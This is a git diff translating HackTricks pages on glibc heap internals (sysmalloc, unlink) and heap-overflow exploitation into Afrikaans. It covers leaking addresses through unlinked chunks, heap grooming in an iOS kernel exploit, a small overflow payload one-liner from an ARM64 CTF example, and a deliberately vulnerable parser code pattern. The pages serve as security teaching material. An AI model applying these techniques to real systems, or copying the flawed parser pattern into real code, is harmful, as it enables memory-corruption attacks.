- /*
- If this isn't adjacent to existing space, then we will not
- be able to merge with old_top space, so must add to 2nd request.
- */
-
- correction += old_size;
-
- /* Extend the end address to hit a page boundary */
- end_misalign = (INTERNAL_SIZE_T) (brk + size + correction);
- correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign;
-
- assert (correction >= 0);
- snd_brk = (char *) (MORECORE (correction));
-
- /*
- If can't allocate correction, try to at least find out current
- brk. It might be enough to proceed without failing.
-
- Note that if second sbrk did NOT fail, we assume that space
- is contiguous with first sbrk. This is a safe assumption unless
- program is multithreaded but doesn't use locks and a foreign sbrk
- occurred between our first and second calls.
- */
-
- if (snd_brk == (char *) (MORECORE_FAILURE))
- {
- correction = 0;
- snd_brk = (char *) (MORECORE (0));
- }
- else
- madvise_thp (snd_brk, correction);
- }
-
- /* handle non-contiguous cases */
- else
- {
- if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
- /* MORECORE/mmap must correctly align */
- assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0);
- else
- {
- front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
- if (front_misalign > 0)
- {
- /*
- Skip over some bytes to arrive at an aligned position.
- We don't need to specially mark these wasted front bytes.
- They will never be accessed anyway because
- prev_inuse of av->top (and any chunk created from its start)
- is always true after initialization.
- */
-
- aligned_brk += MALLOC_ALIGNMENT - front_misalign;
- }
- }
-
- /* Find out current end of memory */
- if (snd_brk == (char *) (MORECORE_FAILURE))
- {
- snd_brk = (char *) (MORECORE (0));
- }
- }
-
- /* Adjust top based on results of second sbrk */
- if (snd_brk != (char *) (MORECORE_FAILURE))
- {
- av->top = (mchunkptr) aligned_brk;
- set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
- av->system_mem += correction;
-
- /*
- If not the first time through, we either have a
- gap due to foreign sbrk or a non-contiguous region. Insert a
- double fencepost at old_top to prevent consolidation with space
- we don't own. These fenceposts are artificial chunks that are
- marked as inuse and are in any case too small to use. We need
- two to make sizes and alignments work out.
- */
-
- if (old_size != 0)
- {
- /*
- Shrink old_top to insert fenceposts, keeping size a
- multiple of MALLOC_ALIGNMENT. We know there is at least
- enough space in old_top to do this.
- */
- old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
- set_head (old_top, old_size | PREV_INUSE);
-
- /*
- Note that the following assignments completely overwrite
- old_top when old_size was previously MINSIZE. This is
- intentional. We need the fencepost, even if old_top otherwise gets
- lost.
- */
- set_head (chunk_at_offset (old_top, old_size),
- CHUNK_HDR_SZ | PREV_INUSE);
- set_head (chunk_at_offset (old_top,
- old_size + CHUNK_HDR_SZ),
- CHUNK_HDR_SZ | PREV_INUSE);
-
- /* If possible, release the rest. */
- if (old_size >= MINSIZE)
- {
- _int_free (av, old_top, 1);
- }
- }
- }
- }
- }
- } /* if (av != &main_arena) */
-```
+{
+if (mp_.sbrk_base == 0)
+mp_.sbrk_base = brk;
+av->system_mem += size;
-
+/*
+If MORECORE extends previous space, we can likewise extend top size.
+*/
+
+if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE))
+set_head (old_top, (size + old_size) | PREV_INUSE);
+
+else if (contiguous (av) && old_size && brk < old_end)
+/* Oops! Someone else killed our space.. Can't touch anything. */
+malloc_printerr ("break adjusted to free malloc space");
+
+/*
+Otherwise, make adjustments:
+
+* If the first time through or noncontiguous, we need to call sbrk
+just to find out where the end of memory lies.
+
+* We need to ensure that all returned chunks from malloc will meet
+MALLOC_ALIGNMENT
+
+* If there was an intervening foreign sbrk, we need to adjust sbrk
+request size to account for fact that we will not be able to
+combine new space with existing space in old_top.
+
+* Almost all systems internally allocate whole pages at a time, in
+which case we might as well use the whole last page of request.
+So we allocate enough more memory to hit a page boundary now,
+which in turn causes future contiguous calls to page-align.
+*/
+
+else
+{
+front_misalign = 0;
+end_misalign = 0;
+correction = 0;
+aligned_brk = brk;
+
+/* handle contiguous cases */
+if (contiguous (av))
+{
+/* Count foreign sbrk as system_mem. */
+if (old_size)
+av->system_mem += brk - old_end;
+
+/* Guarantee alignment of first new chunk made from this space */
+
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
+if (front_misalign > 0)
+{
+/*
+Skip over some bytes to arrive at an aligned position.
+We don't need to specially mark these wasted front bytes.
+They will never be accessed anyway because
+prev_inuse of av->top (and any chunk created from its start)
+is always true after initialization.
+*/
+
+correction = MALLOC_ALIGNMENT - front_misalign;
+aligned_brk += correction;
+}
+
+/*
+If this isn't adjacent to existing space, then we will not
+be able to merge with old_top space, so must add to 2nd request.
+*/
+
+correction += old_size;
-### sysmalloc finale
+/* Extend the end address to hit a page boundary */
+end_misalign = (INTERNAL_SIZE_T) (brk + size + correction);
+correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign;
-Finish the allocation updating the arena information
+assert (correction >= 0);
+snd_brk = (char *) (MORECORE (correction));
+/*
+If can't allocate correction, try to at least find out current
+brk. It might be enough to proceed without failing.
+
+Note that if second sbrk did NOT fail, we assume that space
+is contiguous with first sbrk. This is a safe assumption unless
+program is multithreaded but doesn't use locks and a foreign sbrk
+occurred between our first and second calls.
+*/
+
+if (snd_brk == (char *) (MORECORE_FAILURE))
+{
+correction = 0;
+snd_brk = (char *) (MORECORE (0));
+}
+else
+madvise_thp (snd_brk, correction);
+}
+
+/* handle non-contiguous cases */
+else
+{
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+/* MORECORE/mmap must correctly align */
+assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0);
+else
+{
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
+if (front_misalign > 0)
+{
+/*
+Skip over some bytes to arrive at an aligned position.
+We don't need to specially mark these wasted front bytes.
+They will never be accessed anyway because
+prev_inuse of av->top (and any chunk created from its start)
+is always true after initialization.
+*/
+
+aligned_brk += MALLOC_ALIGNMENT - front_misalign;
+}
+}
+
+/* Find out current end of memory */
+if (snd_brk == (char *) (MORECORE_FAILURE))
+{
+snd_brk = (char *) (MORECORE (0));
+}
+}
+
+/* Adjust top based on results of second sbrk */
+if (snd_brk != (char *) (MORECORE_FAILURE))
+{
+av->top = (mchunkptr) aligned_brk;
+set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
+av->system_mem += correction;
+
+/*
+If not the first time through, we either have a
+gap due to foreign sbrk or a non-contiguous region. Insert a
+double fencepost at old_top to prevent consolidation with space
+we don't own. These fenceposts are artificial chunks that are
+marked as inuse and are in any case too small to use. We need
+two to make sizes and alignments work out.
+*/
+
+if (old_size != 0)
+{
+/*
+Shrink old_top to insert fenceposts, keeping size a
+multiple of MALLOC_ALIGNMENT. We know there is at least
+enough space in old_top to do this.
+*/
+old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
+set_head (old_top, old_size | PREV_INUSE);
+
+/*
+Note that the following assignments completely overwrite
+old_top when old_size was previously MINSIZE. This is
+intentional. We need the fencepost, even if old_top otherwise gets
+lost.
+*/
+set_head (chunk_at_offset (old_top, old_size),
+CHUNK_HDR_SZ | PREV_INUSE);
+set_head (chunk_at_offset (old_top,
+old_size + CHUNK_HDR_SZ),
+CHUNK_HDR_SZ | PREV_INUSE);
+
+/* If possible, release the rest. */
+if (old_size >= MINSIZE)
+{
+_int_free (av, old_top, 1);
+}
+}
+}
+}
+}
+} /* if (av != &main_arena) */
+```
+
+
+### sysmalloc-finale
+
+Voltooi die allocation deur die arena-inligting by te werk.
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem))
- av->max_system_mem = av->system_mem;
- check_malloc_state (av);
-
- /* finally, do the allocation */
- p = av->top;
- size = chunksize (p);
-
- /* check that one of the above allocation paths succeeded */
- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
- {
- remainder_size = size - nb;
- remainder = chunk_at_offset (p, nb);
- av->top = remainder;
- set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
- set_head (remainder, remainder_size | PREV_INUSE);
- check_malloced_chunk (av, p, nb);
- return chunk2mem (p);
- }
-
- /* catch all failure paths */
- __set_errno (ENOMEM);
- return 0;
-```
+av->max_system_mem = av->system_mem;
+check_malloc_state (av);
+
+/* finally, do the allocation */
+p = av->top;
+size = chunksize (p);
+/* check that one of the above allocation paths succeeded */
+if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
+{
+remainder_size = size - nb;
+remainder = chunk_at_offset (p, nb);
+av->top = remainder;
+set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+check_malloced_chunk (av, p, nb);
+return chunk2mem (p);
+}
+
+/* catch all failure paths */
+__set_errno (ENOMEM);
+return 0;
+```
## sysmalloc_mmap
-sysmalloc_mmap code
-
+sysmalloc_mmap-kode
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2
static void *
sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av)
{
- long int size;
+long int size;
- /*
- Round up size to nearest page. For mmapped chunks, the overhead is one
- SIZE_SZ unit larger than for normal chunks, because there is no
- following chunk whose prev_size field could be used.
+/*
+Round up size to nearest page. For mmapped chunks, the overhead is one
+SIZE_SZ unit larger than for normal chunks, because there is no
+following chunk whose prev_size field could be used.
+
+See the front_misalign handling below, for glibc there is no need for
+further alignments unless we have have high alignment.
+*/
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+size = ALIGN_UP (nb + SIZE_SZ, pagesize);
+else
+size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
+
+/* Don't try if size wraps around 0. */
+if ((unsigned long) (size) <= (unsigned long) (nb))
+return MAP_FAILED;
+
+char *mm = (char *) MMAP (0, size,
+mtag_mmap_flags | PROT_READ | PROT_WRITE,
+extra_flags);
+if (mm == MAP_FAILED)
+return mm;
- See the front_misalign handling below, for glibc there is no need for
- further alignments unless we have have high alignment.
- */
- if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
- size = ALIGN_UP (nb + SIZE_SZ, pagesize);
- else
- size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
+#ifdef MAP_HUGETLB
+if (!(extra_flags & MAP_HUGETLB))
+madvise_thp (mm, size);
+#endif
- /* Don't try if size wraps around 0. */
- if ((unsigned long) (size) <= (unsigned long) (nb))
- return MAP_FAILED;
+__set_vma_name (mm, size, " glibc: malloc");
- char *mm = (char *) MMAP (0, size,
- mtag_mmap_flags | PROT_READ | PROT_WRITE,
- extra_flags);
- if (mm == MAP_FAILED)
- return mm;
+/*
+The offset to the start of the mmapped region is stored in the prev_size
+field of the chunk. This allows us to adjust returned start address to
+meet alignment requirements here and in memalign(), and still be able to
+compute proper address argument for later munmap in free() and realloc().
+*/
-#ifdef MAP_HUGETLB
- if (!(extra_flags & MAP_HUGETLB))
- madvise_thp (mm, size);
-#endif
+INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
- __set_vma_name (mm, size, " glibc: malloc");
-
- /*
- The offset to the start of the mmapped region is stored in the prev_size
- field of the chunk. This allows us to adjust returned start address to
- meet alignment requirements here and in memalign(), and still be able to
- compute proper address argument for later munmap in free() and realloc().
- */
-
- INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
-
- if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
- {
- /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and
- MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page
- aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */
- assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
- front_misalign = 0;
- }
- else
- front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
-
- mchunkptr p; /* the allocated/returned chunk */
-
- if (front_misalign > 0)
- {
- ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign;
- p = (mchunkptr) (mm + correction);
- set_prev_size (p, correction);
- set_head (p, (size - correction) | IS_MMAPPED);
- }
- else
- {
- p = (mchunkptr) mm;
- set_prev_size (p, 0);
- set_head (p, size | IS_MMAPPED);
- }
-
- /* update statistics */
- int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1;
- atomic_max (&mp_.max_n_mmaps, new);
-
- unsigned long sum;
- sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size;
- atomic_max (&mp_.max_mmapped_mem, sum);
-
- check_chunk (av, p);
-
- return chunk2mem (p);
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+{
+/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and
+MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page
+aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */
+assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
+front_misalign = 0;
}
-```
+else
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
+
+mchunkptr p; /* the allocated/returned chunk */
+
+if (front_misalign > 0)
+{
+ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign;
+p = (mchunkptr) (mm + correction);
+set_prev_size (p, correction);
+set_head (p, (size - correction) | IS_MMAPPED);
+}
+else
+{
+p = (mchunkptr) mm;
+set_prev_size (p, 0);
+set_head (p, size | IS_MMAPPED);
+}
+
+/* update statistics */
+int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1;
+atomic_max (&mp_.max_n_mmaps, new);
+unsigned long sum;
+sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size;
+atomic_max (&mp_.max_mmapped_mem, sum);
+
+check_chunk (av, p);
+
+return chunk2mem (p);
+}
+```
+## References
+
+- [1] [glibc-bronkode - malloc.c (bminor/glibc mirror)](https://github.com/bminor/glibc/blob/master/malloc/malloc.c)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
index 7d26f6546ab..39ec4fe4110 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
@@ -3,81 +3,83 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
-
```c
-// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
+// Excerpted from glibc malloc.c; see reference [1].
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
- if (chunksize (p) != prev_size (next_chunk (p)))
- malloc_printerr ("corrupted size vs. prev_size");
-
- mchunkptr fd = p->fd;
- mchunkptr bk = p->bk;
-
- if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
- malloc_printerr ("corrupted double-linked list");
-
- fd->bk = bk;
- bk->fd = fd;
- if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
- {
- if (p->fd_nextsize->bk_nextsize != p
- || p->bk_nextsize->fd_nextsize != p)
- malloc_printerr ("corrupted double-linked list (not small)");
-
- // Added: If the FD is not in the nextsize list
- if (fd->fd_nextsize == NULL)
- {
-
- if (p->fd_nextsize == p)
- fd->fd_nextsize = fd->bk_nextsize = fd;
- else
- // Link the nexsize list in when removing the new chunk
- {
- fd->fd_nextsize = p->fd_nextsize;
- fd->bk_nextsize = p->bk_nextsize;
- p->fd_nextsize->bk_nextsize = fd;
- p->bk_nextsize->fd_nextsize = fd;
- }
- }
- else
- {
- p->fd_nextsize->bk_nextsize = p->bk_nextsize;
- p->bk_nextsize->fd_nextsize = p->fd_nextsize;
- }
- }
+if (chunksize (p) != prev_size (next_chunk (p)))
+malloc_printerr ("corrupted size vs. prev_size");
+
+mchunkptr fd = p->fd;
+mchunkptr bk = p->bk;
+
+if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
+malloc_printerr ("corrupted double-linked list");
+
+fd->bk = bk;
+bk->fd = fd;
+if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
+{
+if (p->fd_nextsize->bk_nextsize != p
+|| p->bk_nextsize->fd_nextsize != p)
+malloc_printerr ("corrupted double-linked list (not small)");
+
+// Added: If the FD is not in the nextsize list
+if (fd->fd_nextsize == NULL)
+{
+
+if (p->fd_nextsize == p)
+fd->fd_nextsize = fd->bk_nextsize = fd;
+else
+// Link the nexsize list in when removing the new chunk
+{
+fd->fd_nextsize = p->fd_nextsize;
+fd->bk_nextsize = p->bk_nextsize;
+p->fd_nextsize->bk_nextsize = fd;
+p->bk_nextsize->fd_nextsize = fd;
+}
+}
+else
+{
+p->fd_nextsize->bk_nextsize = p->bk_nextsize;
+p->bk_nextsize->fd_nextsize = p->fd_nextsize;
+}
+}
}
```
+### Grafiese verduideliking
-### Graphical Explanation
+Die diagram hieronder illustreer die opdaterings van die unlink-wysers.[[2]](#references)
-Check this great graphical explanation of the unlink process:
+Opdaterings van small-bin unlink-wysers.
-https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png
+### Sekuriteitskontroles
-### Security Checks
-
-- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
-- Check also that `P->fd->bk == P` and `P->bk->fw == P`
-- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
+- Kontroleer of die aangeduide grootte van die chunk dieselfde is as die `prev_size` wat in die volgende chunk aangedui word
+- Kontroleer dat `P->fd->bk == P` en `P->bk->fd == P`.
+- As die chunk nie klein is nie, kontroleer dat `P->fd_nextsize->bk_nextsize == P` en `P->bk_nextsize->fd_nextsize == P`
### Leaks
-An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
+Die unlinking van ’n chunk vee nie sy wyservelde uit nie. As die vrygestelde chunk leesbaar bly, kan daardie velde nuttige adresse bekend maak.[[1]](#references)
Libc Leaks:
-- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
-- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
-- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
+- As P aan die begin van die dubbelgekoppelde lys geleë is, sal `bk` na `malloc_state` in libc wys
+- As P aan die einde van die dubbelgekoppelde lys geleë is, sal `fd` na `malloc_state` in libc wys
+- Wanneer die dubbelgekoppelde lys slegs een free chunk bevat, is P in die dubbelgekoppelde lys, en kan beide `fd` en `bk` die adres binne `malloc_state` uitlek.
Heap leaks:
-- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
-- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
-- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
+- As P aan die begin van die dubbelgekoppelde lys geleë is, sal `fd` na ’n beskikbare chunk in die heap wys
+- As P aan die einde van die dubbelgekoppelde lys geleë is, sal `bk` na ’n beskikbare chunk in die heap wys
+- As P in die dubbelgekoppelde lys is, sal beide `fd` en `bk` na ’n beskikbare chunk in die heap wys
+
+## References
+- [1] [glibc `malloc.c` - `unlink_chunk`](https://github.com/bminor/glibc/blob/master/malloc/malloc.c)
+- [2] [CTF Wiki - glibc heap `unlink()`-diagram](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md
index 24ea86a70dd..cab220ebd90 100644
--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@@ -2,49 +2,114 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
+'n Heap overflow vind plaas wanneer 'n program meer data na 'n heap-toegewysde buffer skryf as wat die allokasie kan hou.[[9]](#references) Dit is analoog aan 'n [**stack overflow**](../stack-overflow/index.html), maar die beskadigde data is in die heap.
-In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
+In 'n stack overflow kan gestoorde beheerdatagegewens, soos 'n terugkeeradres, naby die kwesbare buffer wees. 'n Heap-buffer het geen enkele ekwivalente uitleg nie: die overflow kan allocator-metadata, toepassingsdata, objekwysers of funksiewysers beskadig. Die impak hang dus af van **wat langs die kwesbare allokasie is**, hoe betroubaar die aanvaller daardie uitleg kan vorm, en hoe die beskadigde data later gebruik word.[[9]](#references)
> [!TIP]
-> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
+> Om overflow-offsets te vind, kan jy dieselfde patrone as in [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets) gebruik.
-### Stack Overflows vs Heap Overflows
+### Stack Overflows teenoor Heap Overflows
-In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
+In stack overflows is die uitleg en data wat teenwoordig is wanneer die kwesbaarheid geaktiveer word, dikwels relatief voorspelbaar. 'n Funksie se stack frame het gewoonlik 'n herhaalbare struktuur wat plaaslike veranderlikes en gestoorde beheerdata bevat.
-However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
+Heap-allokasies word daarenteen geplaas en hergebruik volgens allocator-beleide soos grootteklasse, bins, sones en freelists. Die objek langs 'n kwesbare allokasie kan dus moeilik wees om te voorspel. Exploitation vereis gewoonlik 'n **betroubare manier om 'n nuttige slagoffer-objek onmiddellik ná die buffer wat oorloop te plaas**.
-One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
+Een tegniek om hierdie uitleg te beheer, is **heap grooming**. Die aangehaalde iOS-kernvoorbeeld verduidelik dat wanneer 'n sone se ruimte vir objekte van 'n bepaalde grootte opgeraak het, dit met een kernbladsy uitgebrei en daardie bladsy in geskikte chunks verdeel is. Daardie chunks is in volgorde toegewys in die ouer weergawe wat beskryf word; iOS 9.2 het ewekansige seleksie ingestel om hierdie uitleg minder voorspelbaar te maak.[[3]](#references)
-Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
+In daardie exploit dwing verskeie threads baie **`kalloc`-allokasies om bestaande vrye chunks te vul en die skepping van 'n nuwe bladsy aan te moedig**, wat help om die object wat oorloop langs 'n gekose slagoffer te plaas.[[3]](#references)
-In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
+Om die heap met objekte van 'n spesifieke grootte te vul, gebruik die exploit die **out-of-line-allokasie wat met 'n iOS Mach-boodskap geassosieer word**. Deur die boodskapgrootte te beheer, word die `kalloc`-allokasiegrootte gekies, en deur die ooreenstemmende Mach-poort te vernietig, word die allokasie deur `kfree` vrygestel.[[3]](#references)
-Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object.
+Sommige plekhouers word dan **vrygestel**. Omdat die beskryfde **`kalloc.4096`-freelist elemente in last-in, first-out-volgorde terugstuur**, maak die versigtige afwisseling van slagoffer-allokasies met die kwesbare allokasie dit waarskynlik dat 'n slagoffer die object wat oorloop, sal volg.[[3]](#references)
-### Example libc
+### Voorbeeld libc
-[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
+Hierdie basiese heap-overflow-voorbeeld wys hoe die oorskryf van die volgende chunk se `PREV_INUSE`-bit en `prev_size` die allocator kan laat **konsolideer met 'n chunk wat steeds in gebruik is** en later die oorvleuelende streek weer kan allokeer. Die nuwe allokasie kan dan data oorskryf waarna daar steeds deur 'n ander wyser verwys word.[[4]](#references)
-Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
+'n Ander voorbeeld uit [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) wys 'n baie basiese voorbeeld van 'n CTF waarin 'n **heap overflow** misbruik kan word om die winner-funksie aan te roep en **die flag te kry**.[[5]](#references)
-In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
+Die **Protostar heap 1**-voorbeeld gebruik 'n heap overflow om 'n wyser in 'n aangrensende allokasie te beskadig, wat 'n write-what-where-primitief met aanvaller-beheerde data oplewer.[[6]](#references)
-### Example ARM64
-
-In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
+### Voorbeeld ARM64
+Op die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n heap-overflow-voorbeeld vind waarin 'n opdrag wat uitgevoer gaan word, in die volgende chunk vanaf die chunk wat oorloop, gestoor word. Dit is dus moontlik om die uitgevoerde opdrag te wysig deur dit met 'n eenvoudige exploit soos die volgende te oorskryf:[[7]](#references)
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
+### Ander voorbeelde
+
+- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)[[8]](#references)
+- Ons gebruik 'n Integer Overflow-vulnerability om 'n Heap Overflow te verkry.
+- Ons korrupteer pointers na 'n funksie binne 'n `struct` van die overflowed chunk om 'n funksie soos `system` te stel en code execution te verkry.
+
+### Parser-Driven Heap Overflow Exploitation (lêerformate, mods, asset packs)
+
+Binary deserializers allokeer dikwels 'n destination buffer vanaf een attacker-controlled field en kopieer dan data deur 'n **ander attacker-controlled count** te gebruik. 'n Klassieke patroon is:
+```c
+uint32_t alloc = width * height; // 32-bit wrap possible
+buf = new uint8_t[alloc];
+memcpy(buf, src, count); // count is attacker-controlled
+```
+Dit veroorsaak ’n forward heap overflow op **twee onafhanklike maniere** en begin dikwels met ’n [**integer overflow**](../integer-overflow-and-underflow.md):[[2]](#references)
+
+- `width * height` wrap, en die allocation word baie kleiner as die logiese objekgrootte.
+- `count > alloc`, selfs sonder arithmetic wrap.
-### Other examples
+Checks aan die bronkant, soos `count <= remaining_input`, is **nie voldoende nie**. Die parser moet ook verifieer dat **elke lêerbeheerde count binne die bestemming se capacity pas**. Dit is van toepassing op arrays van strings, booleans, DWORDs, structs en geneste objekte: ’n loop kan binne die input buffer bly en steeds verby die einde van ’n heap-objek loop.
-- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- - We use an Integer Overflow vulnerability to get a Heap Overflow.
- - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
+#### Exploitation pattern
+1. **Kies die allocator-bucket doelbewus.** Stel dimensies of stringlengtes so in dat die kwesbare buffer in dieselfde size class / segment as die teiken-C++-objek beland. Op Windows kan aanvallers **Segment Heap** bo LFH verkies vir meer deterministiese adjacency.
